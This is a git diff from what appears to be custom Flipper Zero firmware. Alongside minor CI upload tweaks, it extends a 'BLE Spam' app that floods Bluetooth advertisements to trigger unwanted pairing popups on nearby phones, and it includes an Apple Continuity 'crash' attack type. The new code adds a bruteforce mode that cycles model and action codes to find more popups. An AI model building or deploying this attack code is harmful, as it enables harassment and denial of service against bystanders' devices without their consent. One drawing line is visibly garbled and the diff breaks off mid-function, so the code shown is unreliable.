diff --git a/.github/workflow_data/devbuild.py b/.github/workflow_data/devbuild.py index fd409bce2..3a2d8facc 100644 --- a/.github/workflow_data/devbuild.py +++ b/.github/workflow_data/devbuild.py @@ -12,6 +12,12 @@ if __name__ == "__main__": event = json.load(f) client = nextcloud_client.Client(os.environ["NC_HOST"]) + _session = requests.session + def session(*args, **kwargs): + s = _session(*args, **kwargs) + s.headers["User-Agent"] = os.environ["NC_USERAGENT"] + return s + requests.session = session client.login(os.environ["NC_USER"], os.environ["NC_PASS"]) for file in ( diff --git a/.github/workflow_data/webhook.py b/.github/workflow_data/webhook.py index d1f9c08bb..de0617276 100644 --- a/.github/workflow_data/webhook.py +++ b/.github/workflow_data/webhook.py @@ -36,7 +36,7 @@ if __name__ == "__main__": for i, commit in enumerate(event["commits"]): msg = commit['message'].splitlines()[0].replace("`", "") msg = msg[:50] + ("..." if len(msg) > 50 else "") - desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author']['username']}__](https://github.com/{commit['author']['username']})" + desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author'].get('username')}__](https://github.com/{commit['author'].get('username')})" if len(desc) > 2020: desc = desc.rsplit("\n", 1)[0] + f"\n+ {count - i} more commits" break diff --git a/.github/workflow_data/webupdater.py b/.github/workflow_data/webupdater.py index ccf131567..e9a861aaa 100644 --- a/.github/workflow_data/webupdater.py +++ b/.github/workflow_data/webupdater.py @@ -1,9 +1,16 @@ import nextcloud_client +import requests import json import os if __name__ == "__main__": client = nextcloud_client.Client(os.environ["NC_HOST"]) + _session = requests.session + def session(*args, **kwargs): + s = _session(*args, **kwargs) + s.headers["User-Agent"] = os.environ["NC_USERAGENT"] + return s + requests.session = session client.login(os.environ["NC_USER"], os.environ["NC_PASS"]) file = os.environ["ARTIFACT_TGZ"] diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index f118e279d..a9d90cf6b 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -16,6 +16,7 @@ concurrency: env: TARGETS: f7 DEFAULT_TARGET: f7 + FBT_GIT_SUBMODULE_SHALLOW: 1 jobs: build: @@ -57,6 +58,7 @@ jobs: if: "github.event_name == 'push' && github.ref_name == 'dev' && !contains(github.event.head_commit.message, '--nobuild')" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" BUILD_WEBHOOK: ${{ secrets.BUILD_WEBHOOK }} diff --git a/.github/workflows/hotfix.yml b/.github/workflows/hotfix.yml index 38076ae18..7b7f15132 100644 --- a/.github/workflows/hotfix.yml +++ b/.github/workflows/hotfix.yml @@ -59,6 +59,7 @@ jobs: - name: "Upload to webupdater" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" run: | diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1352871e0..00a5c8dab 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -55,6 +55,7 @@ jobs: - name: "Upload to webupdater" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" run: | diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index 532a55cfb..d19322fd9 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.3", + fap_version="4.1", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index b3edf165f..6e1a8cb24 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -30,13 +30,10 @@ static Attack attacks[] = { .payload = { .random_mac = false, - .cfg = + .cfg.specific.continuity = { - .continuity = - { - .type = ContinuityTypeCustomCrash, - .data = {}, - }, + .type = ContinuityTypeCustomCrash, + .data = {}, }, }, }, @@ -47,13 +44,10 @@ static Attack attacks[] = { .payload = { .random_mac = false, - .cfg = + .cfg.specific.continuity = { - .continuity = - { - .type = ContinuityTypeNearbyAction, - .data = {}, - }, + .type = ContinuityTypeNearbyAction, + .data = {}, }, }, }, @@ -64,13 +58,10 @@ static Attack attacks[] = { .payload = { .random_mac = false, - .cfg = + .cfg.specific.continuity = { - .continuity = - { - .type = ContinuityTypeProximityPair, - .data = {}, - }, + .type = ContinuityTypeProximityPair, + .data = {}, }, }, }, @@ -81,10 +72,7 @@ static Attack attacks[] = { .payload = { .random_mac = true, - .cfg = - { - .fastpair = {}, - }, + .cfg.specific.fastpair = {}, }, }, { @@ -94,13 +82,10 @@ static Attack attacks[] = { .payload = { .random_mac = true, - .cfg = + .cfg.specific.easysetup = { - .easysetup = - { - .type = EasysetupTypeBuds, - .data = {}, - }, + .type = EasysetupTypeBuds, + .data = {}, }, }, }, @@ -111,13 +96,10 @@ static Attack attacks[] = { .payload = { .random_mac = true, - .cfg = + .cfg.specific.easysetup = { - .easysetup = - { - .type = EasysetupTypeWatch, - .data = {}, - }, + .type = EasysetupTypeWatch, + .data = {}, }, }, }, @@ -128,10 +110,7 @@ static Attack attacks[] = { .payload = { .random_mac = true, - .cfg = - { - .swiftpair = {}, - }, + .cfg.specific.swiftpair = {}, }, }, }; @@ -152,8 +131,17 @@ typedef struct { uint8_t delay; FuriThread* thread; int8_t index; + bool ignore_bruteforce; } State; +const NotificationSequence solid_message = { + &message_red_0, + &message_green_255, + &message_blue_255, + &message_do_not_reset, + &message_delay_10, + NULL, +}; NotificationMessage blink_message = { .type = NotificationMessageTypeLedBlinkStart, .data.led_blink.color = LightBlue | LightGreen, @@ -183,11 +171,17 @@ static int32_t adv_thread(void* _ctx) { uint8_t mac[GAP_MAC_ADDR_SIZE]; Payload* payload = &attacks[state->index].payload; const Protocol* protocol = attacks[state->index].protocol; + ProtocolCfg* _cfg = &payload->cfg; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { if(protocol) { + if(_cfg->mode == ProtocolModeBruteforce && _cfg->bruteforce.counter++ >= 10) { + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = + (_cfg->bruteforce.value + 1) % (1 << (_cfg->bruteforce.size * 8)); + } protocol->make_packet(&size, &packet, &payload->cfg); } else { protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL); @@ -220,10 +214,11 @@ static void toggle_adv(State* state) { } } -#define PAGE_MIN (-4) +#define PAGE_MIN (-5) #define PAGE_MAX ATTACKS_COUNT enum { - PageHelpApps = PAGE_MIN, + PageHelpBruteforce = PAGE_MIN, + PageHelpApps, PageHelpDelay, PageHelpDistance, PageHelpInfoConfig, @@ -265,6 +260,23 @@ static void draw_callback(Canvas* canvas, void* _ctx) { canvas_draw_str(canvas, 14, 12, "BLE Spam"); switch(state->index) { + case PageHelpBruteforce: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "\e#Bruteforce\e# cycles codes\n" + "to find popups, hold left and\n" + "right to send manually and\n" + "change delay", + false); + break; case PageHelpApps: canvas_set_font(canvas, FontBatteryPercent); canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); @@ -343,7 +355,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.3\e#", + " Version \e#4.1\e#", false); break; default: { @@ -355,20 +367,45 @@ static void draw_callback(Canvas* canvas, void* _ctx) { char str[32]; canvas_set_font(canvas, FontBatteryPercent); - snprintf(str, sizeof(str), "%ims", delays[state->delay]); + if(payload->cfg.mode == ProtocolModeBruteforce) { + snprintf( + str, + sizeof(str), + "0x%0*lX", + payload->cfg.bruteforce.size * 2, + payload->cfg.bruteforce.value); + } else { + snprintf(str, sizeof(str), "%ims", delays[state->delay]); + } canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); canvas_set_font(canvas, FontBatteryPercent); - snprintf( - str, - sizeof(str), - "%02i/%02i: %s", - state->index + 1, - ATTACKS_COUNT, - protocol ? protocol->get_name(&payload->cfg) : "Everything AND"); - canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); + if(payload->cfg.mode == ProtocolModeBruteforce) { + canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce"); + if(delays[state->delay] < 100) { + snprintf(str, sizeof(str), "%ims>", delays[state->delay]); + } else { + snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000); + } + uint16_t w = canvas_string_width(canvas, str); + elements_slightly_rounded_box(canvas, 3, 14, 30, 10); + elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10); + canvas_invert_color(canvas); + canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "index + 1, + ATTACKS_COUNT, + protocol ? protocol->get_name(&payload->cfg) : "Everything AND"); + canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str); + } canvas_set_font(canvas, FontPrimary); canvas_draw_str(canvas, 4, 33, attack->title); @@ -424,6 +461,7 @@ static bool input_callback(InputEvent* input, void* _ctx) { consumed = true; bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; + ProtocolCfg* _cfg = is_attack ? &attacks[state->index].payload.cfg : NULL; bool advertising = state->advertising; switch(input->key) { @@ -440,27 +478,80 @@ static bool input_callback(InputEvent* input, void* _ctx) { } break; case InputKeyUp: - if(is_attack && state->delay < COUNT_OF(delays) - 1) { - state->delay++; - if(advertising) start_blink(state); + if(is_attack) { + if(_cfg->mode == ProtocolModeBruteforce) { + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = + (_cfg->bruteforce.value + 1) % (1 << (_cfg->bruteforce.size * 8)); + } else if(state->delay < COUNT_OF(delays) - 1) { + state->delay++; + if(advertising) start_blink(state); + } } break; case InputKeyDown: - if(is_attack && state->delay > 0) { - state->delay--; - if(advertising) start_blink(state); + if(is_attack) { + if(_cfg->mode == ProtocolModeBruteforce) { + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = + (_cfg->bruteforce.value - 1) % (1 << (_cfg->bruteforce.size * 8)); + } else if(state->delay > 0) { + state->delay--; + if(advertising) start_blink(state); + } } break; case InputKeyLeft: - if(state->index > PAGE_MIN) { - if(advertising) toggle_adv(state); - state->index--; + if(input->type == InputTypeLong) { + state->ignore_bruteforce = _cfg ? (_cfg->mode != ProtocolModeBruteforce) : true; + } + if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce || + _cfg->mode != ProtocolModeBruteforce) { + if(state->index > PAGE_MIN) { + if(advertising) toggle_adv(state); + state->index--; + } + } else { + if(!advertising) { + bool resume = furi_hal_bt_is_active(); + furi_hal_bt_stop_advertising(); + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; + + uint8_t size; + uint8_t* packet; + protocol->make_packet(&size, &packet, &payload->cfg); + furi_hal_bt_custom_adv_set(packet, size); + free(packet); + + uint8_t mac[GAP_MAC_ADDR_SIZE]; + furi_hal_random_fill_buf(mac, sizeof(mac)); + uint16_t delay = delays[state->delay]; + furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); + if(state->ctx.led_indicator) + notification_message(state->ctx.notification, &solid_message); + furi_delay_ms(10); + furi_hal_bt_custom_adv_stop(); + + if(state->ctx.led_indicator) + notification_message_block(state->ctx.notification, &sequence_reset_rgb); + if(resume) furi_hal_bt_start_advertising(); + } } break; case InputKeyRight: - if(state->index < PAGE_MAX) { - if(advertising) toggle_adv(state); - state->index++; + if(input->type == InputTypeLong) { + state->ignore_bruteforce = _cfg ? (_cfg->mode != ProtocolModeBruteforce) : true; + } + if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce || + _cfg->mode != ProtocolModeBruteforce) { + if(state->index < PAGE_MAX) { + if(advertising) toggle_adv(state); + state->index++; + } + } else if(input->type == InputTypeLong) { + state->delay = (state->delay + 1) % COUNT_OF(delays); + if(advertising) start_blink(state); } break; case InputKeyBack: @@ -488,9 +579,17 @@ static void lock_timer_callback(void* _ctx) { state->lock_count = 0; } +static void tick_event_callback(void* _ctx) { + State* state = _ctx; + bool advertising; + with_view_model( + state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising); + scene_manager_handle_tick_event(state->ctx.scene_manager); +} + static bool back_event_callback(void* _ctx) { - Ctx* ctx = _ctx; - return scene_manager_handle_back_event(ctx->scene_manager); + State* state = _ctx; + return scene_manager_handle_back_event(state->ctx.scene_manager); } int32_t ble_spam(void* p) { @@ -507,7 +606,8 @@ int32_t ble_spam(void* p) { Gui* gui = furi_record_open(RECORD_GUI); state->ctx.view_dispatcher = view_dispatcher_alloc(); view_dispatcher_enable_queue(state->ctx.view_dispatcher); - view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx); + view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state); + view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100); view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 6f32b9990..1456b1c4a 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -10,12 +10,12 @@ #include #include "../ble_spam.h" -typedef union ProtocolCfg ProtocolCfg; +typedef struct ProtocolCfg ProtocolCfg; typedef struct { const Icon* icon; const char* (*get_name)(const ProtocolCfg* _cfg); - void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, ProtocolCfg* _cfg); void (*extra_config)(Ctx* ctx); uint8_t (*config_count)(const ProtocolCfg* _cfg); } Protocol; diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h index 4e646eefb..a34bb1e98 100644 --- a/applications/external/ble_spam/protocols/_protocols.h +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -5,11 +5,25 @@ #include "easysetup.h" #include "swiftpair.h" -union ProtocolCfg { - ContinuityCfg continuity; - FastpairCfg fastpair; - EasysetupCfg easysetup; - SwiftpairCfg swiftpair; +typedef enum { + ProtocolModeRandom, + ProtocolModeValue, + ProtocolModeBruteforce, +} ProtocolMode; + +struct ProtocolCfg { + ProtocolMode mode; + struct { + uint8_t counter; + uint32_t value; + uint8_t size; + } bruteforce; + union { + ContinuityCfg continuity; + FastpairCfg fastpair; + EasysetupCfg easysetup; + SwiftpairCfg swiftpair; + } specific; }; extern const Protocol* protocols[]; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 4b29683ab..5babbd9cd 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -71,8 +71,8 @@ static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Continuity Custom", }; -static const char* continuity_get_name(const ProtocolCfg* _cfg) { - const ContinuityCfg* cfg = &_cfg->continuity; +static const char* get_name(const ProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->specific.continuity; return type_names[cfg->type]; } @@ -87,11 +87,11 @@ static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { - const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, ProtocolCfg* _cfg) { + ContinuityCfg* cfg = _cfg ? &_cfg->specific.continuity : NULL; ContinuityType type; - if(cfg) { + if(cfg && cfg->type != 0x00) { type = cfg->type; } else { const ContinuityType types[] = { @@ -139,14 +139,21 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeProximityPair: { uint16_t model; - if(cfg && cfg->data.proximity_pair.model != 0x0000) { - model = cfg->data.proximity_pair.model; - } else { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: model = pp_models[rand() % pp_models_count].value; + break; + case ProtocolModeValue: + model = cfg->data.proximity_pair.model; + break; + case ProtocolModeBruteforce: + model = cfg->data.proximity_pair.model = _cfg->bruteforce.value; + break; } uint8_t prefix; - if(cfg && cfg->data.proximity_pair.prefix == 0x00) { + if(cfg && cfg->data.proximity_pair.prefix != 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { if(model == 0x0055 || model == 0x0030) @@ -209,10 +216,17 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeNearbyAction: { uint8_t action; - if(cfg && cfg->data.nearby_action.action != 0x00) { - action = cfg->data.nearby_action.action; - } else { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: action = na_actions[rand() % na_actions_count].value; + break; + case ProtocolModeValue: + action = cfg->data.nearby_action.action; + break; + case ProtocolModeBruteforce: + action = cfg->data.nearby_action.action = _cfg->bruteforce.value; + break; } uint8_t flags; @@ -293,7 +307,8 @@ enum { }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(cfg->type) { case ContinuityTypeProximityPair: { @@ -341,19 +356,22 @@ static void config_callback(void* _ctx, uint32_t index) { } } static void pp_model_changed(VariableItem* item) { - ContinuityCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + ContinuityCfg* cfg = &_cfg->specific.continuity; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; + _cfg->mode = ProtocolModeValue; cfg->data.proximity_pair.model = pp_models[index].value; variable_item_set_current_value_text(item, pp_models[index].name); } else { - cfg->data.proximity_pair.model = 0x0000; + _cfg->mode = ProtocolModeRandom; variable_item_set_current_value_text(item, "Random"); } } static void pp_prefix_changed(VariableItem* item) { - ContinuityCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + ContinuityCfg* cfg = &_cfg->specific.continuity; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; @@ -365,33 +383,39 @@ static void pp_prefix_changed(VariableItem* item) { } } static void na_action_changed(VariableItem* item) { - ContinuityCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + ContinuityCfg* cfg = &_cfg->specific.continuity; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; + _cfg->mode = ProtocolModeValue; cfg->data.nearby_action.action = na_actions[index].value; variable_item_set_current_value_text(item, na_actions[index].name); } else { - cfg->data.nearby_action.action = 0x00; + _cfg->mode = ProtocolModeRandom; variable_item_set_current_value_text(item, "Random"); } } -static void continuity_extra_config(Ctx* ctx) { - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; +static void extra_config(Ctx* ctx) { + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; VariableItemList* list = ctx->variable_item_list; VariableItem* item; size_t value_index; switch(cfg->type) { case ContinuityTypeProximityPair: { - item = - variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg); + item = variable_item_list_add( + list, "Model Code", pp_models_count + 1, pp_model_changed, _cfg); const char* model_name = NULL; char model_name_buf[5]; - if(cfg->data.proximity_pair.model == 0x0000) { + switch(_cfg->mode) { + case ProtocolModeRandom: + default: model_name = "Random"; value_index = 0; - } else { + break; + case ProtocolModeValue: for(uint8_t i = 0; i < pp_models_count; i++) { if(cfg->data.proximity_pair.model == pp_models[i].value) { model_name = pp_models[i].name; @@ -405,12 +429,17 @@ static void continuity_extra_config(Ctx* ctx) { model_name = model_name_buf; value_index = pp_models_count + 1; } + break; + case ProtocolModeBruteforce: + model_name = "Bruteforce"; + value_index = pp_models_count + 1; + break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); item = - variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); + variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, _cfg); const char* prefix_name = NULL; char prefix_name_buf[3]; if(cfg->data.proximity_pair.prefix == 0x00) { @@ -440,13 +469,16 @@ static void continuity_extra_config(Ctx* ctx) { } case ContinuityTypeNearbyAction: { item = variable_item_list_add( - list, "Action Type", na_actions_count + 1, na_action_changed, cfg); + list, "Action Type", na_actions_count + 1, na_action_changed, _cfg); const char* action_name = NULL; char action_name_buf[3]; - if(cfg->data.nearby_action.action == 0x00) { + switch(_cfg->mode) { + case ProtocolModeRandom: + default: action_name = "Random"; value_index = 0; - } else { + break; + case ProtocolModeValue: for(uint8_t i = 0; i < na_actions_count; i++) { if(cfg->data.nearby_action.action == na_actions[i].value) { action_name = na_actions[i].name; @@ -463,6 +495,11 @@ static void continuity_extra_config(Ctx* ctx) { action_name = action_name_buf; value_index = na_actions_count + 1; } + break; + case ProtocolModeBruteforce: + action_name = "Bruteforce"; + value_index = na_actions_count + 1; + break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, action_name); @@ -502,31 +539,40 @@ static uint8_t config_counts[ContinuityTypeCOUNT] = { [ContinuityTypeNearbyInfo] = 0, [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, }; -static uint8_t continuity_config_count(const ProtocolCfg* _cfg) { - const ContinuityCfg* cfg = &_cfg->continuity; +static uint8_t config_count(const ProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->specific.continuity; return config_counts[cfg->type]; } const Protocol protocol_continuity = { .icon = &I_apple, - .get_name = continuity_get_name, - .make_packet = continuity_make_packet, - .extra_config = continuity_extra_config, - .config_count = continuity_config_count, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, }; static void pp_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; switch(index) { case 0: - cfg->data.proximity_pair.model = 0x0000; + _cfg->mode = ProtocolModeRandom; scene_manager_previous_scene(ctx->scene_manager); break; case pp_models_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); break; + case pp_models_count + 2: + _cfg->mode = ProtocolModeBruteforce; + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = cfg->data.proximity_pair.model; + _cfg->bruteforce.size = 2; + scene_manager_previous_scene(ctx->scene_manager); + break; default: + _cfg->mode = ProtocolModeValue; cfg->data.proximity_pair.model = pp_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; @@ -534,30 +580,36 @@ static void pp_model_callback(void* _ctx, uint32_t index) { } void scene_continuity_pp_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - bool found = false; submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); - if(cfg->data.proximity_pair.model == 0x0000) { - found = true; + if(_cfg->mode == ProtocolModeRandom) { selected = 0; } + + bool found = false; for(uint8_t i = 0; i < pp_models_count; i++) { submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); - if(!found && cfg->data.proximity_pair.model == pp_models[i].value) { + if(!found && _cfg->mode == ProtocolModeValue && + cfg->data.proximity_pair.model == pp_models[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); - if(!found) { - found = true; + if(!found && _cfg->mode == ProtocolModeValue) { selected = pp_models_count + 1; } + submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx); + if(_cfg->mode == ProtocolModeBruteforce) { + selected = pp_models_count + 2; + } + submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); @@ -573,12 +625,17 @@ void scene_continuity_pp_model_on_exit(void* _ctx) { static void pp_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; + _cfg->mode = ProtocolModeValue; + cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_continuity_pp_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -597,14 +654,13 @@ bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent eve return false; } void scene_continuity_pp_model_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); + UNUSED(_ctx); } static void pp_prefix_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; switch(index) { case 0: cfg->data.proximity_pair.prefix = 0x00; @@ -621,7 +677,8 @@ static void pp_prefix_callback(void* _ctx, uint32_t index) { } void scene_continuity_pp_prefix_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; @@ -632,6 +689,7 @@ void scene_continuity_pp_prefix_on_enter(void* _ctx) { found = true; selected = 0; } + for(uint8_t i = 0; i < pp_prefixes_count; i++) { submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { @@ -641,7 +699,6 @@ void scene_continuity_pp_prefix_on_enter(void* _ctx) { } submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); if(!found) { - found = true; selected = pp_prefixes_count + 1; } @@ -660,12 +717,16 @@ void scene_continuity_pp_prefix_on_exit(void* _ctx) { static void pp_prefix_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; + cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Prefix"); @@ -683,23 +744,30 @@ bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent ev return false; } void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); + UNUSED(_ctx); } static void na_action_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; switch(index) { case 0: - cfg->data.nearby_action.action = 0x00; + _cfg->mode = ProtocolModeRandom; scene_manager_previous_scene(ctx->scene_manager); break; case na_actions_count + 1: 